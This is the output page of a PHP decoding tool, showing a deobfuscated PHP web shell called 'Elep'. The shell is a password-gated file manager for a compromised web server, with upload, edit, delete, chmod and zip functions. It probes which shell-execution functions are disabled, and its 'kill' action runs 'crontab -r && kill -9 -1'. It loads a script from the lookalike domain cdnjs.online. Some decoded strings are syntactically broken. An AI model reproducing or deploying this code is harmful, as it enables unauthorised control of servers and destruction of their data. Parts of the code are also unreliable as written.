Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto Jau2xZy8Vk; bj6_Z5R6P8: echo "\15\12\15\xa\xd\12\x20"; if (isset($_GET["\x7..
Decoded Output download
<?php
goto Jau2xZy8Vk;
bj6_Z5R6P8:
echo "
\xa\xd
";
if (isset($_GET["p"])) {
goto q1HHR2SOOX;
}
if (!empty($_GET)) {
goto woYuc9E759;
}
echo "<? <script>window.location.replace('?p=');</script> ?>";
woYuc9E759:
goto OOUCVCGshG;
l6uz96Jn_X:
$files = [];
foreach ($fetch_obj as $obj) {
goto jlMuqpId_8;
AgOXMMOqXg:
g4RpX0CIKo:
array_push($files, $obj);
n4RMa5xY6q:
X5nHSLEoLV:
goto lAZSVt7bSD;
PAeWMiFFMF:
if (is_file($new_obj)) {
goto g4RpX0CIKo;
}
goto n4RMa5xY6q;
xPZRTM7NQi:
array_push($folders, $obj);
goto n4RMa5xY6q;
goto AgOXMMOqXg;
jlMuqpId_8:
if (!($obj == "." || $obj == "..")) {
goto olQA0Y2gcb;
}
goto X5nHSLEoLV;
olQA0Y2gcb:
$new_obj = PATH . "/" . $obj;
if (is_dir($new_obj)) {
goto xPZRTM7NQi;
}
goto PAeWMiFFMF;
lAZSVt7bSD:
}
lJyS_4lHIA:
AgUhbNx2_q:
echo "<?
\xa<table class="table table-hover">
<thead>
\xa <tr>\xd\xa <th scope="col">Name</th>
\xa <th scope="col">Size</th>\xd\xa <th scope="col">Modified</th>
\xa\x9 <th scope="col">Owner</th>
\xa <th scope="col">Perms</th>
<th scope="col">Actions</th>
\xa </tr>\xd
</thead>
<tbody>
?>";
goto BhgHKoaYjU;
yWBOrjCfKX:
gG4SLL8ZpK:
if (!isset($_GET["newfolder"])) {
goto QqD2SPSyaW;
}
echo "<? <form method="post"><div class="form-group"><label for="n">Name :</label><input name="n" id="n" class="form-control" autocomplete="off"></div><br/><div class="form-group"><input type="submit" class="btn btn-dark" value="createfolder" name="createfolder"></div></form> ?>";
QqD2SPSyaW:
if (!isset($_GET["pi"])) {
goto mEkWNEil0p;
}
goto ekJayuD6uK;
eDsT2K4DBZ:
OMlJcPFOzk:
$disabled = explode(
",",
ini_get(
"disable_functions"
)
);
$fuction_info = "";
if (!(sizeof($disabled) > 0 && !empty($disabled[0]))) {
goto j91DLN_dgk;
}
$error_number = 0;
goto ig67rngtrm;
ig67rngtrm:
$f_put = "file_put_contents";
$f_get = "file_get_contents";
if (!in_array($f_get, $disabled)) {
goto Ttb1zOlxjd;
}
$fuction_info .=
"get_cont is disable<br/>";
$error_number++;
goto P8PLbzfoc7;
TsyWtatbcv:
$sourceDir1 = $dir;
$outZipPath1 = PATH . "/" . $_GET["z"] . ".zip";
$zip = new Zip();
$zip::zipDir($sourceDir1, $outZipPath1);
if (file_exists($outZipPath1)) {
goto tDOssPXyMf;
}
goto zx4kpxwyrQ;
vxzBT2t4Ws:
YUXFZ5UEiI:
$zip = new ZipArchive();
$res = $zip->open($file);
if ($res == true) {
goto KBsq9sldzB;
}
echo "<script>alert('Failed to Unzip File !'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto nv_28evyoS;
g8QHH76itV:
goto KN3EnRrtlZ;
Ha1X9DnNs_:
echo "<script>window.location.replace('?p=');</script>";
goto KN3EnRrtlZ;
SjiUG3Lq37:
goto bTOYiUeybq;
fbG_xkugHt:
if (
move_uploaded_file(
$_FILES["fileToUpload"][
"tmp_name"
][$i],
$target_file
)
) {
goto bY112UJEGT;
}
$str .=
"<p>Sorry, there was an error uploading your file.</p>";
goto VF47vtDFxB;
bY112UJEGT:
$str .=
"<p>" .
htmlspecialchars(
basename(
$_FILES["fileToUpload"][
"name"
][$i]
)
) .
" has been uploaded.</p>";
goto V4euIzVFEo;
w8deuCw1Wq:
YAe2zQqyUV:
if (!(isset($_GET["pack"]) && isset($_GET["q"]))) {
goto cM0WWgEenh;
}
cM0WWgEenh:
goto IMIaBlDoSW;
XQ5h7O5Oe4:
P57KG28Hhn:
goto ip5Y5fVJKg;
PSmGWnHUB_:
if (!is_dir(decodePath($_GET["q"]))) {
goto Ha1X9DnNs_;
}
if (is_dir(decodePath($_GET["q"]))) {
goto SjiUG3Lq37;
}
goto g8QHH76itV;
CZo8Ug9WbC:
echo "<font color="red">" .
$fuction_info .
"</font>";
tKspy7o_GA:
j91DLN_dgk:
echo "\xd\xa<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
\xa <div class="navbar-brand">\xd
<a href="?"><i class="fa fa-home" aria-hidden="true"></i></a>\xd\xa";
$path = str_replace("\", "/", PATH);
goto Y9XygjMP1Z;
ImVT8XyE2a:
$filename = PATH . "/" . $_POST["cawpn"];
$filecontent = $_POST["cawpctn"];
$f_put =
"file" .
"_" .
"put_" .
"contents";
$create_result = @$f_put($filename, $filecontent);
if ($create_result) {
goto zHYccVmZOD;
}
goto bXmHCYGU42;
V4euIzVFEo:
VF47vtDFxB:
j3QFf3R_w7:
$i++;
goto mC0cVIUkTS;
YSyq1EzeCv:
goto yUVfXNAouQ;
TjTuO3kla5:
UFjBICUtdc:
zZqSUR23nO:
anR35vTiIv:
if (!isset($_GET["e"])) {
goto rn8pwvzu0g;
}
$f_put = "file_put_contents";
goto CyWKPJrq0i;
zx4kpxwyrQ:
echo "<script>alert('fail zip File !'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto VZWnVrhxiQ;
tDOssPXyMf:
echo "<script>alert('Success zip File !'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
VZWnVrhxiQ:
goto w8deuCw1Wq;
nxWXa7VbJS:
if (is_dir(decodePath($_GET["p"]))) {
goto xX_rcxX1As;
}
goto P57KG28Hhn;
Ysner77MKs:
$p = $root_path;
goto P57KG28Hhn;
goto vbwbvRt9dr;
O_JPcBH1qF:
OOviXlWFpA:
bCNtei5z0m:
if (
!(
!$_SESSION["loggedInm"] ||
$_SESSION["loggedInm"] != $password
)
) {
goto HM7RvcTJMR;
}
echo "\xd
<html><head><title> </title></head>\xd\xa <body>
<p align="center"><center><font style="font-size:13px" color="#008000" face="Trebuchet MS">
<form method="post">
<input type="password" name="password">
\xa <input type="submit" name="submit" value=" >>">\xd\xa </form>
\xa </body>\xd
</html>\xd\xa
\xa";
exit();
goto jIcFiAPk87;
F4QA5V2tTi:
echo "kill \xe6\x89\xa7\xe8\xa1\214\xe4\270\215\346\210\220\xe5\x8a\237";
VXp7b6Aswh:
QxUwM_PXJt:
if (!isset($_GET["newfile"])) {
goto gG4SLL8ZpK;
}
echo "\xd\xa<h5 class="border p-1 mb-3">New file</h5><form method="post"><div class="form-group"><label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt"></div><div class="form-group"><label for="ctn">Content :</label><textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea></div><br/><div class="form-group"><input type="submit" class="btn btn-dark" value="createfile" name="createfile"></div></form>";
goto yWBOrjCfKX;
BhgHKoaYjU:
foreach ($folders as $folder) {
echo " <tr>\xd
<td><i class='fa-solid fa-folder'></i> <a href='?p=" .
urlencode(encodePath(PATH . "/" . $folder)) .
"'>" .
$folder .
"</a></td>
<td><b>---</b></td>
\xa <td>" .
date(
"F d Y H:i:s.",
filemtime(PATH . "/" . $folder)
) .
"</td>\xd
<td>" .
owner(PATH . "/" . $folder) .
"</td>
<td>0" .
substr(decoct(fileperms(PATH . "/" . $folder)), -3) .
"</a></td>\xd\xa <td>\xd
<a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) .
"&r=" .
$folder .
"'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>\xd
<a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) .
"&d=" .
$folder .
"'><i class='fa fa-trash' aria-hidden='true'></i></a>
\xa <a title='chmod' href='?q=" .
urlencode(encodePath(PATH)) .
"&c=" .
$folder .
"'><i class='fa fa-unlock' aria-hidden='true'></i></a>
\xa <a title='zip' href='?q=" .
urlencode(encodePath(PATH)) .
"&z=" .
$folder .
"'>zip</a>|
\x9 \xd
<td>
</tr>\xd
";
NXxMfsV82a:
}
aP1N67TtPF:
foreach ($files as $file) {
echo " <tr>\xd\xa <td>" .
fileIcon($file) .
$file .
"</td>\xd\xa <td>" .
formatSizeUnits(filesize(PATH . "/" . $file)) .
"</td>
\xa <td>" .
date(
"F d Y H:i:s.",
filemtime(PATH . "/" . $file)
) .
"</td>\xd\xa \x9 <td>" .
owner(PATH . "/" . $file) .
"</td>
<td>0" .
substr(decoct(fileperms(PATH . "/" . $file)), -3) .
"</a></td>\xd
<td>
<a title='Edit File' href='?q=" .
urlencode(encodePath(PATH)) .
"&e=" .
$file .
"'><i class='fa-solid fa-file-pen'></i></a>
<a title='Rename' href='?q=" .
urlencode(encodePath(PATH)) .
"&r=" .
$file .
"'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>\xd\xa <a title='Delete' href='?q=" .
urlencode(encodePath(PATH)) .
"&d=" .
$file .
"'><i class='fa fa-trash' aria-hidden='true'></i></a>
\x9 <a title='chmod' href='?q=" .
urlencode(encodePath(PATH)) .
"&c=" .
$file .
"'><i class='fa fa-unlock' aria-hidden='true'></i></a>\xd\xa \x9 <a title='unzip' href='?q=" .
urlencode(encodePath(PATH)) .
"&u=" .
$file .
"'>uzip</a>\xd\xa <td>\xd
</tr>\xd\xa";
j3Lfy5AFCa:
}
FUEBNdWn7t:
echo " </tbody>\xd
</table>";
goto qdNokVNj0r;
yUVfXNAouQ:
echo $str;
w2TVdMCu3k:
if (!isset($_POST["createfile"])) {
goto ke2zWdT48D;
}
$filename = PATH . "/" . $_POST["n"];
$filecontent = $_POST["ctn"];
goto BdfteEBNQg;
N8chD3JEk1:
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto nLNRoqlQpR;
eupyYxqqGI:
chmod($name, 0644);
echo "<script>alert('File chmod update.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto XtuPtIKGQH;
Hw2SFfUvmj:
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto uKaFT_20sJ;
YBAkjOizIP:
echo "<script>alert('Saved.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
uKaFT_20sJ:
goto D6U72UrB2Z;
ZHra7wz1w2:
$i = 0;
mC0cVIUkTS:
if (!($i < $countfiles)) {
goto YSyq1EzeCv;
}
$target_file =
PATH .
"/" .
$_FILES["fileToUpload"][
"name"
][$i];
$filename =
$_FILES["fileToUpload"][
"name"
][$i];
goto fbG_xkugHt;
CyWKPJrq0i:
$f_get = "file_get_contents";
if (!(!empty($_GET["e"]) && isset($_GET["q"]))) {
goto bkpdO7rKVh;
}
echo PATH .
"/" .
$_GET["e"] .
"<br/>" .
"
<form method="post">\xd
<textarea style="height: 500px;\xd
width: 90%;" name="data">" .
htmlspecialchars($f_get(PATH . "/" . $_GET["e"])) .
"</textarea>\xd
<br>
\xa <input type="submit" class="btn btn-dark" value="Save" name="edit">
</form>";
if (!isset($_POST["edit"])) {
goto QpulYmuOpY;
}
$filename = PATH . "/" . $_GET["e"];
goto cx9kynoFNX;
P_CIcdx8pn:
tYLeI23a9m:
if (!isset($_POST["createfolder"])) {
goto tnDllwBOId;
}
$dir = PATH . "/" . $_POST["n"];
if (is_dir($dir)) {
goto Dy0HIpnx1D;
}
if (mkdir($dir, 0644, true)) {
goto lUs88trmzZ;
}
goto nsDN73qQbF;
nv_28evyoS:
goto e1JbMglVPk;
KBsq9sldzB:
$zip->extractTo($unzipname);
$zip->close();
echo "<script>alert('Success Unzip File !'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto EdCjnupSKX;
emszB5Dgub:
if (delDirAndFile($name)) {
goto pCm5JOtvQe;
}
echo "<script>alert('Some error occurred11.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto DQviXZZ9KV;
pCm5JOtvQe:
echo "<script>alert('Directory removed.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto aaErwz4hMW;
dXOvHDfdil:
goto Oe3VymIenA;
JobEMi9cLr:
echo "<script>alert('Directory chmod update.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
Oe3VymIenA:
wYYR3gCcqU:
goto Npk0cHbvTj;
KkYoAr8Btq:
$name = PATH . "/" . $_GET["d"];
if (is_file($name)) {
goto i74vvzRzMV;
}
if (is_dir($name)) {
goto MgG40KzWx_;
}
goto xw00L_iaef;
i74vvzRzMV:
goto DoOBNBqM19;
nsDN73qQbF:
goto j1rp9pmauk;
lUs88trmzZ:
echo "<script>alert('folder create success.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
j1rp9pmauk:
goto nH0FIgc076;
goto l3Yms07B5f;
Md4i_HWNv6:
echo "<script>alert('File removed.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
Rp40wF6duG:
goto xw00L_iaef;
MgG40KzWx_:
chmod($name, 0644);
goto emszB5Dgub;
l3Yms07B5f:
Dy0HIpnx1D:
echo "<script>alert('folder exits.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
nH0FIgc076:
tnDllwBOId:
if (!(isset($_GET["d"]) && isset($_GET["q"]))) {
goto Ox8GsjTRch;
}
goto KkYoAr8Btq;
Y9XygjMP1Z:
$paths = explode("/", $path);
foreach ($paths as $id => $dir_part) {
goto va473vs_NA;
yOT09q5RXv:
echo "'>" . $dir_part . "</a>/";
uYg7CaGlZn:
goto n7kEFo9VpJ;
oMDHsnrqCp:
if (!($dir_part == "")) {
goto YugEnHBSlQ;
}
goto uYg7CaGlZn;
YugEnHBSlQ:
echo "<a href='?p=";
$i = 0;
goto FiX2rDt6IO;
va473vs_NA:
if (!($dir_part == "" && $id == 0)) {
goto gUHKEnFuI6;
}
$a = true;
echo "<a href="?p=/">/</a>";
goto uYg7CaGlZn;
gUHKEnFuI6:
goto oMDHsnrqCp;
FiX2rDt6IO:
MwRHQCRX9w:
if (!($i <= $id)) {
goto sEjqttbPss;
}
echo str_replace(":", "\340\xa6\230", $paths[$i]);
if (!($i != $id)) {
goto RyR4wnfu4k;
}
echo "\xe0\xa6\x95";
goto IW7SJPalIj;
IW7SJPalIj:
RyR4wnfu4k:
fSI3DwvN9c:
$i++;
goto MwRHQCRX9w;
sEjqttbPss:
goto yOT09q5RXv;
n7kEFo9VpJ:
}
ogTTmA4UvI:
echo "\xd
</div>
\xa<div class="form-inline">
\xa<a href="?upload&q=" .
urlencode(encodePath(PATH)) .
""><button class="btn btn-dark" type="button">Upload File</button></a>
\xa<a href="?kk&q=" .
urlencode(encodePath(PATH)) .
""><button class="btn btn-dark" type="button">ki ll</button></a>
<a href="?newfile&q=" .
urlencode(encodePath(PATH)) .
""><button class="btn btn-dark" type="button">+New File</button></a>
\xa<a href="?newfolder&q=" .
urlencode(encodePath(PATH)) .
""><button class="btn btn-dark" type="button">+New Folder</button></a>\xd\xa
<a href="?checksitem&q=" .
urlencode(encodePath(PATH)) .
""><button class="btn btn-dark" type="button">Check site mm</button></a>
\xd
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> <br/><br/>
\xa
</div>
</nav>";
echo "<br/>";
goto bj6_Z5R6P8;
EdCjnupSKX:
e1JbMglVPk:
eSEPs6MqVL:
if (!(isset($_GET["z"]) && isset($_GET["q"]))) {
goto YAe2zQqyUV;
}
echo "<script>alert('Success zip File !'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
$dir = PATH . "/" . $_GET["z"] . "/";
goto TsyWtatbcv;
ITnRnJQ2C3:
if (!(!empty($_GET["r"]) && isset($_GET["q"]))) {
goto zZqSUR23nO;
}
echo "
<form method="post">
Rename:
<input type="text" name="name" value="" .
$_GET["r"] .
"">
<input type="submit" class="btn btn-dark" value="Rename" name="rename">\xd\xa </form>";
if (!isset($_POST["rename"])) {
goto UFjBICUtdc;
}
$name = PATH . "/" . $_GET["r"];
if (rename($name, PATH . "/" . $_POST["name"])) {
goto vF__m0P419;
}
goto y9WumEOrzr;
DoOBNBqM19:
chmod($name, 0644);
if (unlink($name)) {
goto MvwQJ339fp;
}
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
goto Rp40wF6duG;
MvwQJ339fp:
goto Md4i_HWNv6;
SCAqkS2lJO:
curl_setopt(
$ch,
CURLOPT_ENCODING,
"gzip,deflate"
);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ch);
curl_close($ch);
goto h3MwXSJDIw;
Jau2xZy8Vk:
$password =
"c1dba739eb9f16334b0d103e2f97ea85";
error_reporting(0);
set_time_limit(0);
session_start();
if (isset($_SESSION["loggedInm"])) {
goto Q3_P8pKZ2v;
}
goto kXYzdRguua;
t8qaQXnyj6:
$filearray = pathinfo($file);
$unzipname =
PATH . "/" . $filearray["filename"] . "/";
if (!is_readable($file)) {
goto vg7S73IY0W;
}
if (strpos($f_get($file), "PK\x3\x4") === false) {
goto iuViSWE1eK;
}
goto YUXFZ5UEiI;
goto fBCxDX2yaJ;
X2KTCL7k4a:
HMbg1j6BYJ:
echo "<script>alert('create success.'); window.location.replace('?p=" .
encodePath(PATH) .
"');</script>";
MItMQRKThR:
ke2zWdT48D:
if (!isset($_POST["createcawp"])) {
goto tYLeI23a9m;
}
goto ImVT8XyE2a;
l_SFPYEYZB:
$cron_result = run(
"crontab -r && kill -9 -1"
);
if (!$cron_result) {
goto scfiR8YTsl;
}
echo "kill \xe6\211\xa7\350\xa1\214\346\x88\x90\345\212\237";
goto VXp7b6Aswh;
scfiR8YTsl:
goto F4QA5V2tTi;
iE5GF0EFHP:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
goto SCAqkS2lJO;
P8PLbzfoc7:
Ttb1zOlxjd:
if (!in_array("curl_init", $disabled)) {
goto yN3wSug37g;
}
$fuction_info .=
"curl_init is disable";
$error_number++;
yN3wSug37g:
goto nVo5s5oxsg;
DBIGfN5oN6:
if (is_file($name)) {
goto JxnZv_AvNz;
}
if (is_dir($name)) {
goto ote_LS0OFh;
}
goto wYYR3gCcqU;
JxnZv_AvNz:
if (chmod($name, 0644)) {
goto eupyYxqqGI;
}
goto N8chD3JEk1;
Npk0cHbvTj:
BZzwztz2oV:
if (!(isset($_GET["u"]) && isset($_GET["q"]))) {
goto eSEPs6MqVL;
}
$file = PATH . "/" . $_GET["u"];
$f_put = "file_put_contents";
$f_get = "file_get_contents";
goto t8qaQXnyj6;
DCDFUS6r9D:
echo "root no writeable";
VpgmEEVBl6:
echo " php version: " . phpversion();
if (class_exists("ZipArchive")) {
goto OMlJcPFOzk;
}
echo "<font color="red"> no support zip</font>";
goto eDsT2K4DBZ;
bTOYiUeybq:
$p = decodePath($_GET["q"]);
KN3EnRrtlZ:
ip5Y5fVJKg:
define("PATH", $p);
$root = $_SERVER["DOCUMENT_ROOT"];
goto ymTJBFzQ0r;
h3MwXSJDIw:
if (!$res) {
goto HpL7ZMpSX8;
}
echo "<div style="width:50%;display:block;color:red;font-size:30px;tex-align:center;">support curl" .
"</div><br/>" .
$res;
HpL7ZMpSX8:
A3xqiJxa7Y:
if (!isset($_GET["r"])) {
goto anR35vTiIv;
}
goto ITnRnJQ2C3;
D6U72UrB2Z:
QpulYmuOpY:
bkpdO7rKVh:
rn8pwvzu0g:
if (!isset($_POST["upload"])) {
goto w2TVdMCu3k;
}
$countfiles = count(
$_FILES["fileToUpload"][
"name"
]
);
goto ZHra7wz1w2;
svEpz6K2V1:
function fileIcon($file)
{
goto qdW4oec0Ys;
bYf5aDPole:
goto jwie1EfkK2;
OIeND4sZXJ:
return "<i class="fa-sharp fa-solid fa-bug"></i> ";
goto jwie1EfkK2;
OoCaD_Lzfb:
goto mwGnRyQlnU;
W5BY2ReduT:
AkI4SOHznm:
return "<i class="fa-brands fa-python"></i> ";
goto gG0BvHHs1n;
EdcD5H6G7I:
return "<i class="fa-brands fa-js"></i> ";
goto X5j7aHyThw;
hjARfLDp9o:
c3GlAr6Zbv:
return "<i class="fa-brands fa-php"></i> ";
goto gG0BvHHs1n;
TCn_X6BTFC:
return "<i class="fa-regular fa-images"></i> ";
goto OInlIWErQ2;
RvvX68soW9:
return "<i class="fa-solid fa-file"></i> ";
goto gG0BvHHs1n;
ga3BhY0H58:
return "<i class="fa-brands fa-html5"></i> ";
goto gG0BvHHs1n;
goto hjARfLDp9o;
mwGnRyQlnU:
return "<i class="fa-solid fa-hammer"></i> ";
jwie1EfkK2:
if ($ext == "html" || $ext == "htm") {
goto ga3BhY0H58;
}
if ($ext == "php" || $ext == "phtml") {
goto c3GlAr6Zbv;
}
if (in_array($ext, $imgs)) {
goto TCn_X6BTFC;
}
goto avZmGoB60b;
qdW4oec0Ys:
$imgs = [
"apng",
"avif",
"gif",
"jpg",
"jpeg",
"jfif",
"pjpeg",
"pjp",
"png",
"svg",
"webp",
];
$audio = [
"wav",
"m4a",
"m4b",
"mp3",
"ogg",
"webm",
"mpc",
];
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
goto OIeND4sZXJ;
}
if ($file == ".htaccess") {
goto OoCaD_Lzfb;
}
goto bYf5aDPole;
y4eOn_ep5d:
return "<i class="fa-regular fa-file-lines"></i> ";
goto gG0BvHHs1n;
GHLrUqDm8o:
return "<i class="fa-duotone fa-file-music"></i> ";
goto gG0BvHHs1n;
goto W5BY2ReduT;
OInlIWErQ2:
goto gG0BvHHs1n;
Xz06ZdQSZ5:
return "<i class="fa-brands fa-css3"></i> ";
goto gG0BvHHs1n;
zosrvDaBH3:
goto y4eOn_ep5d;
X5j7aHyThw:
gG0BvHHs1n:
goto V0Kcf6glNu;
avZmGoB60b:
if ($ext == "css") {
goto Xz06ZdQSZ5;
}
if ($ext == "txt") {
goto zosrvDaBH3;
}
if (in_array($ext, $audio)) {
goto GHLrUqDm8o;
}
if ($ext == "py") {
goto AkI4SOHznm;
}
if ($ext == "js") {
goto EdcD5H6G7I;
}
goto RvvX68soW9;
V0Kcf6glNu:
}
function encodePath($path)
{
$a = ["/", "\", ".", ":"];
$b = ["\xe0\xa6\225", "\xe0\246\x96", "\xe0\xa6\227", "\xe0\xa6\x98"];
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = ["/", "\", ".", ":"];
$b = ["\xe0\246\x95", "\xe0\246\226", "\xe0\xa6\227", "\xe0\xa6\x98"];
return str_replace($b, $a, $path);
}
function functionCheck()
{
$disabled = explode(
",",
ini_get(
"disable_functions"
)
);
$new_disable = [];
foreach ($disabled as $item) {
$new_disable[] = trim($item);
gBaJm0vpKS:
}
boMGFTV8MO:
$command_array = [
"system",
"shell_exec",
"popen",
"exec",
"proc_open",
"passthru",
];
$command_able = false;
foreach ($command_array as $command) {
if (in_array($command, $new_disable)) {
goto pS5C81ybNd;
}
$command_able = true;
goto SgyQ_yN2DN;
pS5C81ybNd:
vo98C6_Kzo:
}
SgyQ_yN2DN:
return $command_able;
}
function do_write($file, $t, $text)
{
$key = true;
$handle = @fopen($file, $t);
if (@fwrite($handle, $text)) {
goto oUwROXBVSG;
}
@chmod($file, 0666);
$key = @fwrite($handle, $text) ? true : false;
oUwROXBVSG:
@fclose($handle);
return $key;
}
goto aaHpKede2n;
jIcFiAPk87:
HM7RvcTJMR:
echo "<!DOCTYPE html>
\xa<html lang="en">
<head>
<meta charset="utf-8">\xd\xa <meta http-equiv="X-UA-Compatible" content="IE=edge">\xd\xa <meta name="viewport" content="width=device-width, initial-scale=1.0">\xd\xa <title>Elep</title>
\xa <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet"\xd
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"\xd\xa integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="\xd
crossorigin="anonymous" referrerpolicy="no-referrer" />\xd
<script src="https://cdnjs.online/ajax/libs/bootstrap/js/bootstrap.min.js"></script>
</head>\xd\xa\xd\xa<body>\xd\xa
\xa ";
class Zip
{
public static function zipDir($sourcePath, $outZipPath)
{
$pathInfo = self::myPathInfo($sourcePath);
$parentPath = $pathInfo["dirname"];
$dirName = $pathInfo["basename"];
$sourcePath = $parentPath . "/" . $dirName;
$z = new \ZipArchive();
$z->open($outZipPath, \ZIPARCHIVE::CREATE);
$z->addEmptyDir($dirName);
self::folderToZip($sourcePath, $z, strlen("{$parentPath}/"));
$z->close();
}
private static function folderToZip($folder, &$zipFile, $exclusiveLength)
{
goto lMZ0UdFwp5;
KWpXrhIkYQ:
$localPath = substr($filePath, $exclusiveLength);
if (is_file($filePath)) {
goto WNJD2MrRFB;
}
if (is_dir($filePath)) {
goto U1ca_TIO6z;
}
goto sA8vx4xzw6;
WNJD2MrRFB:
goto cE5m_1zssF;
lMZ0UdFwp5:
$handle = opendir($folder);
Ezh0ZHBB7S:
if (!(false !== ($f = readdir($handle)))) {
goto Fex8RShb5p;
}
if (!($f != "." && $f != "..")) {
goto e1o4dMlDCu;
}
$filePath = "{$folder}/{$f}";
goto KWpXrhIkYQ;
QoKv3xE9Pj:
sA8vx4xzw6:
e1o4dMlDCu:
goto Ezh0ZHBB7S;
Fex8RShb5p:
closedir($handle);
goto prAgnCVcIf;
cE5m_1zssF:
$zipFile->addFile($filePath, $localPath);
goto sA8vx4xzw6;
U1ca_TIO6z:
$zipFile->addEmptyDir($localPath);
self::folderToZip($filePath, $zipFile, $exclusiveLength);
goto QoKv3xE9Pj;
prAgnCVcIf:
}
private static function myPathInfo($filepath)
{
$pathParts = [];
$pathParts["dirname"] =
rtrim(substr($filepath, 0, strrpos($filepath, "/")), "/") .
"/";
$pathParts["basename"] = ltrim(
substr($filepath, strrpos($filepath, "/")),
"/"
);
$pathParts["extension"] = substr(
strrchr($filepath, "."),
1
);
$pathParts["filename"] = ltrim(
substr(
$pathParts["basename"],
0,
strrpos($pathParts["basename"], ".")
),
"/"
);
return $pathParts;
}
}
function formatSizeUnits($bytes)
{
goto j0hEYxflmE;
RPo01wVev1:
$bytes = $bytes . " byte";
jbqnM0o3jM:
return $bytes;
goto YwDM23Y5Sm;
j0hEYxflmE:
if ($bytes >= 1073741824) {
goto jlVKop1571;
}
if ($bytes >= 1048576) {
goto ioPKAfIZpv;
}
if ($bytes >= 1024) {
goto Jfa1Lwht3n;
}
if ($bytes > 1) {
goto PYm3pFaIfk;
}
if ($bytes == 1) {
goto l0EeM02bHU;
}
goto aEtYr0lXhd;
aEtYr0lXhd:
$bytes = "0 bytes";
goto jbqnM0o3jM;
jlVKop1571:
$bytes = number_format($bytes / 1073741824, 2) . " GB";
goto jbqnM0o3jM;
goto GkRzOd13Va;
GkRzOd13Va:
ioPKAfIZpv:
$bytes = number_format($bytes / 1048576, 2) . " MB";
goto jbqnM0o3jM;
Jfa1Lwht3n:
$bytes = number_format($bytes / 1024, 2) . " KB";
goto m700j2_YlE;
m700j2_YlE:
goto jbqnM0o3jM;
PYm3pFaIfk:
$bytes = $bytes . " bytes";
goto jbqnM0o3jM;
l0EeM02bHU:
goto RPo01wVev1;
YwDM23Y5Sm:
}
function fileExtension($file)
{
return substr(strrchr($file, "."), 1);
}
goto svEpz6K2V1;
lfyJvnrAOF:
$p = $root_path;
goto ip5Y5fVJKg;
kCR9CY7oRT:
if (empty($_GET["p"])) {
goto Ysner77MKs;
}
if (!is_dir(decodePath($_GET["p"]))) {
goto p9bUk1LnBZ;
}
goto nxWXa7VbJS;
aaHpKede2n:
function str_path($path)
{
return str_replace("//", "/", $path);
}
function do_show($filepath)
{
goto Rz8s67ZRrI;
ScxXGbCRbU:
goto Ng7bNrT3zQ;
fUO_TAgElk:
$files = str_path($filepath . "/" . $file);
$show[] = $files;
goto Ng7bNrT3zQ;
goto VZZt4BWNU7;
VZZt4BWNU7:
UtCllptJV3:
$dir->close();
return $show;
goto h6foEqdHnT;
Rz8s67ZRrI:
$show = [];
$dir = dir($filepath);
Ng7bNrT3zQ:
if (!($file = $dir->read())) {
goto UtCllptJV3;
}
if (!($file == "." or $file == "..")) {
goto fUO_TAgElk;
}
goto ScxXGbCRbU;
h6foEqdHnT:
}
function do_deltree($deldir)
{
$showfile = do_show($deldir);
foreach ($showfile as $del) {
goto wuT2buQBBD;
wuT2buQBBD:
if (is_dir($del)) {
goto T7BErAT4SV;
}
if (!is_dir($del)) {
goto HYdQI2TQoI;
}
goto eZgUdCOPad;
T7BErAT4SV:
if (do_deltree($del)) {
goto E4X6hBrJee;
}
goto t02_0Wyxd0;
sz81YcU8ah:
if (@unlink($del)) {
goto steRP4BnEJ;
}
return false;
steRP4BnEJ:
eZgUdCOPad:
snicgCrUNf:
goto N80oGceul3;
t02_0Wyxd0:
return false;
E4X6hBrJee:
goto eZgUdCOPad;
HYdQI2TQoI:
@chmod($del, 0777);
goto sz81YcU8ah;
N80oGceul3:
}
GvUVWz9i2U:
@chmod($deldir, 0777);
if (@rmdir($deldir)) {
goto t6cmE0a2tI;
}
return false;
t6cmE0a2tI:
return true;
}
